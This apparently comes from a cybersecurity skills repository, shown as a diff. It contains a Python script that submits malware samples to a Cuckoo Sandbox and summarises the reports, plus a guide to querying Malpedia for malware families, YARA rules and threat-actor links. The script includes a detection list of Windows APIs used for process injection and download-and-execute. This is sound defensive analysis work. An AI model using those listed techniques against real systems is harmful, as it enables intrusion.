|
||||
|
||||
## FakeNet-NG - Network Redirection
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
fakenet
|
||||
fakenet -c custom_config.ini
|
||||
```
|
||||
|
||||
## Volatility Integration
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
vol3 -f /opt/cuckoo/storage/analyses/<id>/memory.dmp windows.pslist
|
||||
vol3 -f /opt/cuckoo/storage/analyses/<id>/memory.dmp windows.malfind
|
||||
vol3 -f /opt/cuckoo/storage/analyses/<id>/memory.dmp windows.netscan
|
||||
```
|
||||
@@ -0,0 +1,253 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Cuckoo Sandbox behavioral analysis agent for automated malware detonation and reporting."""
|
||||
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import hashlib
|
||||
|
||||
try:
|
||||
import requests
|
||||
HAS_REQUESTS = True
|
||||
except ImportError:
|
||||
HAS_REQUESTS = False
|
||||
|
||||
|
||||
CUCKOO_API = os.environ.get("CUCKOO_API", "http://localhost:8090")
|
||||
CUCKOO_STORAGE = os.environ.get("CUCKOO_STORAGE", "/opt/cuckoo/storage/analyses")
|
||||
|
||||
|
||||
def submit_file(filepath, timeout=300, machine=None, package=None):
|
||||
"""Submit a malware sample to Cuckoo via REST API."""
|
||||
if not HAS_REQUESTS:
|
||||
return None
|
||||
url = f"{CUCKOO_API}/tasks/create/file"
|
||||
files = {"file": (os.path.basename(filepath), open(filepath, "rb"))}
|
||||
data = {"timeout": timeout}
|
||||
if machine:
|
||||
data["machine"] = machine
|
||||
if package:
|
||||
data["package"] = package
|
||||
resp = requests.post(url, files=files, data=data, timeout=30)
|
||||
if resp.status_code == 200:
|
||||
return resp.json().get("task_id")
|
||||
return None
|
||||
|
||||
|
||||
def submit_url(url_to_analyze, timeout=300):
|
||||
"""Submit a URL to Cuckoo for analysis."""
|
||||
if not HAS_REQUESTS:
|
||||
return None
|
||||
url = f"{CUCKOO_API}/tasks/create/url"
|
||||
data = {"url": url_to_analyze, "timeout": timeout}
|
||||
resp = requests.post(url, data=data, timeout=30)
|
||||
if resp.status_code == 200:
|
||||
return resp.json().get("task_id")
|
||||
return None
|
||||
|
||||
|
||||
def get_task_status(task_id):
|
||||
"""Check the status of a Cuckoo analysis task."""
|
||||
if not HAS_REQUESTS:
|
||||
return None
|
||||
url = f"{CUCKOO_API}/tasks/view/{task_id}"
|
||||
resp = requests.get(url, timeout=30)
|
||||
if resp.status_code == 200:
|
||||
return resp.json().get("task", {}).get("status")
|
||||
return None
|
||||
|
||||
|
||||
def load_report(task_id, report_dir=None):
|
||||
"""Load a Cuckoo JSON report from disk."""
|
||||
if report_dir is None:
|
||||
report_dir = CUCKOO_STORAGE
|
||||
report_path = os.path.join(report_dir, str(task_id), "reports", "report.json")
|
||||
if os.path.exists(report_path):
|
||||
with open(report_path, "r") as f:
|
||||
return json.load(f)
|
||||
return None
|
||||
|
||||
|
||||
def analyze_processes(report):
|
||||
"""Extract and analyze the process tree from the Cuckoo report."""
|
||||
processes = []
|
||||
for proc in report.get("behavior", {}).get("processes", []):
|
||||
pid = proc.get("pid")
|
||||
ppid = proc.get("ppid")
|
||||
name = proc.get("process_name")
|
||||
suspicious_apis = []
|
||||
dangerous_apis = [
|
||||
"CreateRemoteThread", "VirtualAllocEx", "WriteProcessMemory",
|
||||
"NtCreateThreadEx", "RegSetValueExA", "URLDownloadToFileA",
|
||||
"ShellExecuteA", "ShellExecuteW", "WinExec", "CreateProcessA",
|
||||
"NtWriteVirtualMemory", "QueueUserAPC",
|
||||
]
|
||||
for call in proc.get("calls", []):
|
||||
if call.get("api") in dangerous_apis:
|
||||
args = {arg["name"]: arg["value"] for arg in call.get("arguments", [])}
|
||||
suspicious_apis.append({"api": call["api"], "args": args})
|
||||
processes.append({
|
||||
"pid": pid,
|
||||
"ppid": ppid,
|
||||
"name": name,
|
||||
"suspicious_api_calls": len(suspicious_apis),
|
||||
"top_suspicious": suspicious_apis[:10],
|
||||
})
|
||||
return processes
|
||||
|
||||
|
||||
def analyze_network(report):
|
||||
"""Extract network activity from the Cuckoo report."""
|
||||
network = report.get("network", {})
|
||||
return {
|
||||
"dns": [
|
||||
{"request": d.get("request"), "answers": d.get("answers", [])}
|
||||
for d in network.get("dns", [])
|
||||
],
|
||||
"http": [
|
||||
{"method": h.get("method"), "host": h.get("host"),
|
||||
"uri": h.get("uri"), "body_size": len(h.get("body", ""))}
|
||||
for h in network.get("http", [])
|
||||
],
|
||||
"tcp_connections": [
|
||||
{"src": t.get("src"), "sport": t.get("sport"),
|
||||
"dst": t.get("dst"), "dport": t.get("dport")}
|
||||
for t in network.get("tcp", [])
|
||||
],
|
||||
"udp_connections": [
|
||||
{"src": u.get("src"), "sport": u.get("sport"),
|
||||
"dst": u.get("dst"), "dport": u.get("dport")}
|
||||
for u in network.get("udp", [])
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
def analyze_dropped_files(report):
|
||||
"""Extract dropped file information from the report."""
|
||||
dropped = []
|
||||
for d in report.get("dropped", []):
|
||||
dropped.append({
|
||||
"filepath": d.get("filepath", ""),
|
||||
"sha256": d.get("sha256", ""),
|
||||
"size": d.get("size", 0),
|
||||
"type": d.get("type", ""),
|
||||
})
|
||||
return dropped
|
||||
|
||||
|
||||
def analyze_signatures(report):
|
||||
"""Extract triggered behavioral signatures."""
|
||||
signatures = []
|
||||
for sig in report.get("signatures", []):
|
||||
marks = []
|
||||
for mark in sig.get("marks", []):
|
||||
if mark.get("ioc"):
|
||||
marks.append(mark["ioc"])
|
||||
elif mark.get("call"):
|
||||
marks.append(mark["call"].get("api", ""))
|
||||
signatures.append({
|
||||
"name": sig.get("name"),
|
||||
"severity": sig.get("severity"),
|
||||
"description": sig.get("description"),
|
||||
"marks": marks[:5],
|
||||
})
|
||||
return sorted(signatures, key=lambda x: x.get("severity", 0), reverse=True)
|
||||
|
||||
|
||||
def analyze_registry(report):
|
||||
"""Extract registry modifications from behavior summary."""
|
||||
summary = report.get("behavior", {}).get("summary", {})
|
||||
return {
|
||||
"keys_modified": summary.get("keys", [])[:20],
|
||||
"files_created": summary.get("files", [])[:20],
|
||||
"mutexes": summary.get("mutexes", [])[:10],
|
||||
}
|
||||
|
||||
|
||||
def generate_summary(report, processes, network, dropped, signatures, registry):
|
||||
"""Generate a consolidated analysis summary."""
|
||||
info = report.get("info", {})
|
||||
score = info.get("score", 0)
|
||||
return {
|
||||
"task_id": info.get("id"),
|
||||
"sample": info.get("category", "file"),
|
||||
"analysis_time": info.get("duration", 0),
|
||||
"machine": info.get("machine", {}).get("name", ""),
|
||||
"threat_score": score,
|
||||
"process_count": len(processes),
|
||||
"suspicious_api_total": sum(p["suspicious_api_calls"] for p in processes),
|
||||
"dns_queries": len(network["dns"]),
|
||||
"http_requests": len(network["http"]),
|
||||
"tcp_connections": len(network["tcp_connections"]),
|
||||
"dropped_files": len(dropped),
|
||||
"signatures_triggered": len(signatures),
|
||||
"high_severity_sigs": len([s for s in signatures if s["severity"] >= 3]),
|
||||
"registry_keys_modified": len(registry["keys_modified"]),
|
||||
"files_created": len(registry["files_created"]),
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Cuckoo Sandbox Behavioral Analysis Agent")
|
||||
print("Automated malware detonation and report parsing")
|
||||
print("=" * 60)
|
||||
|
||||
if len(sys.argv) > 1:
|
||||
arg = sys.argv[1]
|
||||
|
||||
# Check if argument is a report JSON path
|
||||
if arg.endswith(".json") and os.path.exists(arg):
|
||||
print(f"\n[*] Loading report: {arg}")
|
||||
with open(arg, "r") as f:
|
||||
report = json.load(f)
|
||||
elif arg.isdigit():
|
||||
print(f"\n[*] Loading report for task ID: {arg}")
|
||||
report = load_report(int(arg))
|
||||
elif os.path.exists(arg):
|
||||
print(f"\n[*] Submitting sample: {arg}")
|
||||
sha256 = hashlib.sha256(open(arg, "rb").read()).hexdigest()
|
||||
print(f"[*] SHA-256: {sha256}")
|
||||
task_id = submit_file(arg)
|
||||
if task_id:
|
||||
print(f"[*] Task submitted: ID={task_id}")
|
||||
print(f"[*] Monitor at: {CUCKOO_API.replace('8090', '8080')}/analysis/{task_id}/")
|
||||
else:
|
||||
print("[ERROR] Failed to submit. Check Cuckoo API connection.")
|
||||
sys.exit(0)
|
||||
else:
|
||||
report = None
|
||||
|
||||
if report:
|
||||
processes = analyze_processes(report)
|
||||
network = analyze_network(report)
|
||||
dropped = analyze_dropped_files(report)
|
||||
signatures = analyze_signatures(report)
|
||||
registry = analyze_registry(report)
|
||||
summary = generate_summary(report, processes, network, dropped, signatures, registry)
|
||||
|
||||
print(f"\n--- Analysis Summary ---")
|
||||
print(f" Score: {summary['threat_score']}/10")
|
||||
print(f" Processes: {summary['process_count']}")
|
||||
print(f" Suspicious APIs: {summary['suspicious_api_total']}")
|
||||
print(f" Signatures: {summary['signatures_triggered']} "
|
||||
f"({summary['high_severity_sigs']} high severity)")
|
||||
|
||||
print(f"\n--- Network ---")
|
||||
print(f" DNS: {summary['dns_queries']}, HTTP: {summary['http_requests']}, "
|
||||
f"TCP: {summary['tcp_connections']}")
|
||||
for http in network["http"][:5]:
|
||||
print(f" {http['method']} {http['host']}{http['uri']}")
|
||||
|
||||
print(f"\n--- Dropped Files ---")
|
||||
for d in dropped[:5]:
|
||||
print(f" {d['filepath']} ({d['size']} bytes)")
|
||||
|
||||
print(f"\n--- Top Signatures ---")
|
||||
for s in signatures[:5]:
|
||||
print(f" [{s['severity']}/5] {s['name']}: {s['description']}")
|
||||
else:
|
||||
print(f"\n[DEMO] Usage:")
|
||||
print(f" python agent.py <sample.exe> # Submit to Cuckoo")
|
||||
print(f" python agent.py <task_id> # Parse existing report")
|
||||
print(f" python agent.py <report.json> # Parse JSON report file")
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,288 @@
|
||||
---
|
||||
name: analyzing-malware-family-relationships-with-malpedia
|
||||
description: Query the Malpedia API to look up malware family aliases and naming
|
||||
(platform.family_name), pull community/vendor YARA rules, link families to threat
|
||||
actors, and map family relationships such as loader-payload chains and shared authorship.
|
||||
Use when researching a malware family's aliases, lineage, or actor attribution,
|
||||
or when sourcing YARA rules for detection.
|
||||
domain: cybersecurity
|
||||
subdomain: threat-intelligence
|
||||
tags:
|
||||
- malpedia
|
||||
- malware-family
|
||||
- yara
|
||||
- threat-actor
|
||||
- malware-tracking
|
||||
- threat-intelligence
|
||||
- variant-analysis
|
||||
- malware-intelligence
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- ID.RA-01
|
||||
- ID.RA-05
|
||||
- DE.CM-01
|
||||
- DE.AE-02
|
||||
mitre_attack:
|
||||
- T1587.001
|
||||
- T1027
|
||||
- T1071
|
||||
---
|
||||
# Analyzing Malware Family Relationships with Malpedia
|
||||
|
||||
## Overview
|
||||
|
||||
Malpedia is a collaborative platform maintained by Fraunhofer FKIE that catalogs malware families with their aliases, YARA rules, threat actor associations, and reference reports. With over 2,600 malware families documented, it serves as the definitive resource for understanding malware lineages, tracking variant evolution, and linking malware to specific threat groups. This skill covers querying the Malpedia API, mapping malware family relationships, extracting YARA rules for detection, and building intelligence on malware ecosystems used by adversaries.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing malware family relationships with malpedia
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+ with `requests`, `yara-python`, `stix2` libraries
|
||||
- Malpedia API key (register at https://malpedia.caad.fkie.fraunhofer.de/)
|
||||
- Understanding of malware classification and naming conventions
|
||||
- Familiarity with YARA rule syntax for detection
|
||||
- Access to malware samples for validation (optional)
|
||||
|
||||
## Key Concepts
|
||||
|
||||
### Malpedia Data Model
|
||||
|
||||
Malpedia organizes malware into Families (e.g., "win.cobalt_strike"), each containing: aliases (vendor-specific names like "Beacon", "CobaltStrike"), YARA rules (community and vendor-contributed), actor associations (threat groups using the family), reference reports (CTI reports documenting the family), and sample hashes (representative samples for each variant).
|
||||
|
||||
### Malware Family Naming
|
||||
|
||||
Malpedia uses the format `platform.family_name` (e.g., `win.emotet`, `elf.mirai`, `apk.flubot`). Platforms include win (Windows), elf (Linux), apk (Android), osx (macOS), and py (Python). This standardized naming resolves the "many names" problem where different vendors assign different names to the same malware.
|
||||
|
||||
### Family Relationships
|
||||
|
||||
Malware families have relationships including: parent-child (code reuse, forks), loader-payload (Emotet loads TrickBot loads Ryuk), shared authorship (same threat actor develops multiple tools), and infrastructure sharing (common C2 frameworks).
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Query Malpedia API for Malware Families
|
||||
|
||||
```python
|
||||
import requests
|
||||
import json
|
||||
from collections import defaultdict
|
||||
|
||||
class MalpediaClient:
|
||||
BASE_URL = "https://malpedia.caad.fkie.fraunhofer.de/api"
|
||||
|
||||
def __init__(self, api_key):
|
||||
self.headers = {"Authorization": f"apitoken {api_key}"}
|
||||
|
||||
def get_family_list(self):
|
||||
"""Get list of all malware families."""
|
||||
resp = requests.get(f"{self.BASE_URL}/list/families",
|
||||
headers=self.headers, timeout=30)
|
||||
if resp.status_code == 200:
|
||||
families = resp.json()
|
||||
print(f"[+] Malpedia: {len(families)} malware families")
|
||||
return families
|
||||
return {}
|
||||
|
||||
def get_family_info(self, family_name):
|
||||
"""Get detailed information about a malware family."""
|
||||
resp = requests.get(f"{self.BASE_URL}/get/family/{family_name}",
|
||||
headers=self.headers, timeout=30)
|
||||
if resp.status_code == 200:
|
||||
info = resp.json()
|
||||
print(f"[+] Family: {family_name}")
|
||||
print(f" Aliases: {info.get('alt_names', [])}")
|
||||
print(f" Actors: {[a.get('value', '') for a in info.get('attribution', [])]}")
|
||||
print(f" URLs: {len(info.get('urls', []))} references")
|
||||
return info
|
||||
print(f"[-] Family not found: {family_name}")
|
||||
return None
|
||||
|
||||
def get_family_yara(self, family_name):
|
||||
"""Get YARA rules for a malware family."""
|
||||
resp = requests.get(f"{self.BASE_URL}/get/yara/{family_name}",
|
||||
headers=self.headers, timeout=30)
|
||||
if resp.status_code == 200:
|
||||
rules = resp.json()
|
||||
rule_count = sum(len(v) for v in rules.values()) if isinstance(rules, dict) else 0
|
||||
print(f"[+] YARA rules for {family_name}: {rule_count} rules")
|
||||
return rules
|
||||
return {}
|
||||
|
||||
def get_actor_families(self, actor_name):
|
||||
"""Get malware families associated with a threat actor."""
|
||||
resp = requests.get(f"{self.BASE_URL}/get/actor/{actor_name}",
|
||||
headers=self.headers, timeout=30)
|
||||
if resp.status_code == 200:
|
||||
data = resp.json()
|
||||
families = data.get("families", {})
|
||||
print(f"[+] {actor_name}: {len(families)} malware families")
|
||||
return data
|
||||
return {}
|
||||
|
||||
def search_families(self, keyword):
|
||||
"""Search families by keyword."""
|
||||
all_families = self.get_family_list()
|
||||
matches = {
|
||||
name: info for name, info in all_families.items()
|
||||
if keyword.lower() in name.lower()
|
||||
or keyword.lower() in str(info.get("alt_names", [])).lower()
|
||||
}
|
||||
print(f"[+] Search '{keyword}': {len(matches)} matches")
|
||||
return matches
|
||||
|
||||
client = MalpediaClient("YOUR_MALPEDIA_API_KEY")
|
||||
families = client.get_family_list()
|
||||
emotet_info = client.get_family_info("win.emotet")
|
||||
```
|
||||
|
||||
### Step 2: Map Malware Family Relationships
|
||||
|
||||
```python
|
||||
class MalwareFamilyMapper:
|
||||
def __init__(self, malpedia_client):
|
||||
self.client = malpedia_client
|
||||
self.relationship_graph = defaultdict(list)
|
||||
|
||||
def map_actor_ecosystem(self, actor_name):
|
||||
"""Map the malware ecosystem used by a threat actor."""
|
||||
actor_data = self.client.get_actor_families(actor_name)
|
||||
families = actor_data.get("families", {})
|
||||
|
||||
ecosystem = {
|
||||
"actor": actor_name,
|
||||
"families": [],
|
||||
"family_count": len(families),
|
||||
}
|
||||
|
||||
for family_name in families:
|
||||
info = self.client.get_family_info(family_name)
|
||||
if info:
|
||||
ecosystem["families"].append({
|
||||
"name": family_name,
|
||||
"aliases": info.get("alt_names", []),
|
||||
"description": info.get("description", "")[:200],
|
||||
"shared_actors": [
|
||||
a.get("value", "")
|
||||
for a in info.get("attribution", [])
|
||||
],
|
||||
"reference_count": len(info.get("urls", [])),
|
||||
})
|
||||
|
||||
print(f"\n=== {actor_name} Malware Ecosystem ===")
|
||||
for fam in ecosystem["families"]:
|
||||
shared = [a for a in fam["shared_actors"] if a != actor_name]
|
||||
print(f" {fam['name']}")
|
||||
print(f" Aliases: {fam['aliases'][:5]}")
|
||||
if shared:
|
||||
print(f" Also used by: {shared}")
|
||||
|
||||
return ecosystem
|
||||
|
||||
def find_shared_tooling(self, actor_names):
|
||||
"""Find malware families shared between threat actors."""
|
||||
actor_families = {}
|
||||
for actor in actor_names:
|
||||
data = self.client.get_actor_families(actor)
|
||||
actor_families[actor] = set(data.get("families", {}).keys())
|
||||
|
||||
# Find overlaps
|
||||
shared = {}
|
||||
for i, actor1 in enumerate(actor_names):
|
||||
for actor2 in actor_names[i+1:]:
|
||||
common = actor_families[actor1] & actor_families[actor2]
|
||||
if common:
|
||||
shared[f"{actor1} <-> {actor2}"] = sorted(common)
|
||||
|
||||
print(f"\n=== Shared Tooling Analysis ===")
|
||||
for pair, families in shared.items():
|
||||
print(f" {pair}: {len(families)} shared families")
|
||||
for f in families[:5]:
|
||||
print(f" - {f}")
|
||||
|
||||
return shared
|
||||
|
||||
def build_loader_payload_chain(self, family_name):
|
||||
"""Build the loader-payload delivery chain for a family."""
|
||||
info = self.client.get_family_info(family_name)
|
||||
if not info:
|
||||
return {}
|
||||
|
||||
chain = {
|
||||
"family": family_name,
|
||||
"description": info.get("description", ""),
|
||||
"known_loaders": [],
|
||||
"known_payloads": [],
|
||||
}
|
||||
|
||||
# Common known delivery chains
|
||||
known_chains = {
|
||||
"win.emotet": {"loaders": ["email/macro"], "payloads": ["win.trickbot", "win.qakbot", "win.cobalt_strike"]},
|
||||
"win.trickbot": {"loaders": ["win.emotet"], "payloads": ["win.ryuk", "win.conti", "win.cobalt_strike"]},
|
||||
"win.qakbot": {"loaders": ["email/macro", "win.emotet"], "payloads": ["win.cobalt_strike", "win.blackbasta"]},
|
||||
"win.cobalt_strike": {"loaders": ["win.emotet", "win.trickbot", "win.qakbot"], "payloads": ["ransomware"]},
|
||||
}
|
||||
|
||||
if family_name in known_chains:
|
||||
chain["known_loaders"] = known_chains[family_name]["loaders"]
|
||||
chain["known_payloads"] = known_chains[family_name]["payloads"]
|
||||
|
||||
return chain
|
||||
|
||||
mapper = MalwareFamilyMapper(client)
|
||||
ecosystem = mapper.map_actor_ecosystem("Wizard Spider")
|
||||
shared = mapper.find_shared_tooling(["Wizard Spider", "FIN7", "Lazarus Group"])
|
||||
chain = mapper.build_loader_payload_chain("win.emotet")
|
||||
```
|
||||
|
||||
### Step 3: Extract and Compile YARA Rules
|
||||
|
||||
```python
|
||||
def compile_yara_ruleset(client, family_names, output_file="malware_yara_rules.yar"):
|
||||
"""Compile YARA rules for multiple malware families."""
|
||||
all_rules = []
|
||||
for family in family_names:
|
||||
yara_data = client.get_family_yara(family)
|
||||
if isinstance(yara_data, dict):
|
||||
for source, rules in yara_data.items():
|
||||
if isinstance(rules, list):
|
||||
for rule in rules:
|
||||
all_rules.append(f"// Source: {source} - Family: {family}\n{rule}")
|
||||
elif isinstance(rules, str):
|
||||
all_rules.append(f"// Source: {source} - Family: {family}\n{rules}")
|
||||
|
||||
with open(output_file, "w") as f:
|
||||
f.write(f"// Malpedia YARA Rules - {len(all_rules)} rules\n")
|
||||
f.write(f"// Families: {', '.join(family_names)}\n\n")
|
||||
for rule in all_rules:
|
||||
f.write(rule + "\n\n")
|
||||
|
||||
print(f"[+] Compiled {len(all_rules)} YARA rules to {output_file}")
|
||||
return all_rules
|
||||
|
||||
compile_yara_ruleset(client, ["win.emotet", "win.trickbot", "win.cobalt_strike"])
|
||||
```
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- Malpedia API queried successfully for malware families
|
||||
- Family information retrieved with aliases, actors, and references
|
||||
- Actor-family relationships mapped correctly
|
||||
- Shared tooling between actors identified
|
||||
- YARA rules extracted and compiled for detection
|
||||
- Loader-payload chains documented for threat intelligence
|
||||
|
||||
## References
|
||||
|
||||
- [Malpedia Platform](https://malpedia.caad.fkie.fraunhofer.de/)
|
||||
- [Malpedia API Documentation](https://malpedia.caad.fkie.fraunhofer.de/usage/api)
|
||||
- [Malpedia Research Paper](https://www.botconf.eu/wp-content/uploads/formidable/2/2017-DanielPlohmann-Malpedia.pdf)
|
||||
- [YARA Rules Project](https://github.com/Yara-Rules/rules)
|
||||
- [malwoverview Multi-Platform Tool](https://github.com/alexandreborges/malwoverview)
|
||||
- [CyberAtlas: Malpedia Integration](https://www.cyberatlas.io/malpedia)
|
||||
@@ -0,0 +1,68 @@
|
||||
# API Reference: Malpedia Malware Family Analysis
|
||||
|
||||
## Base URL
|
||||
```
|
||||
https://malpedia.caad.fkie.fraunhofer.de/api
|
||||
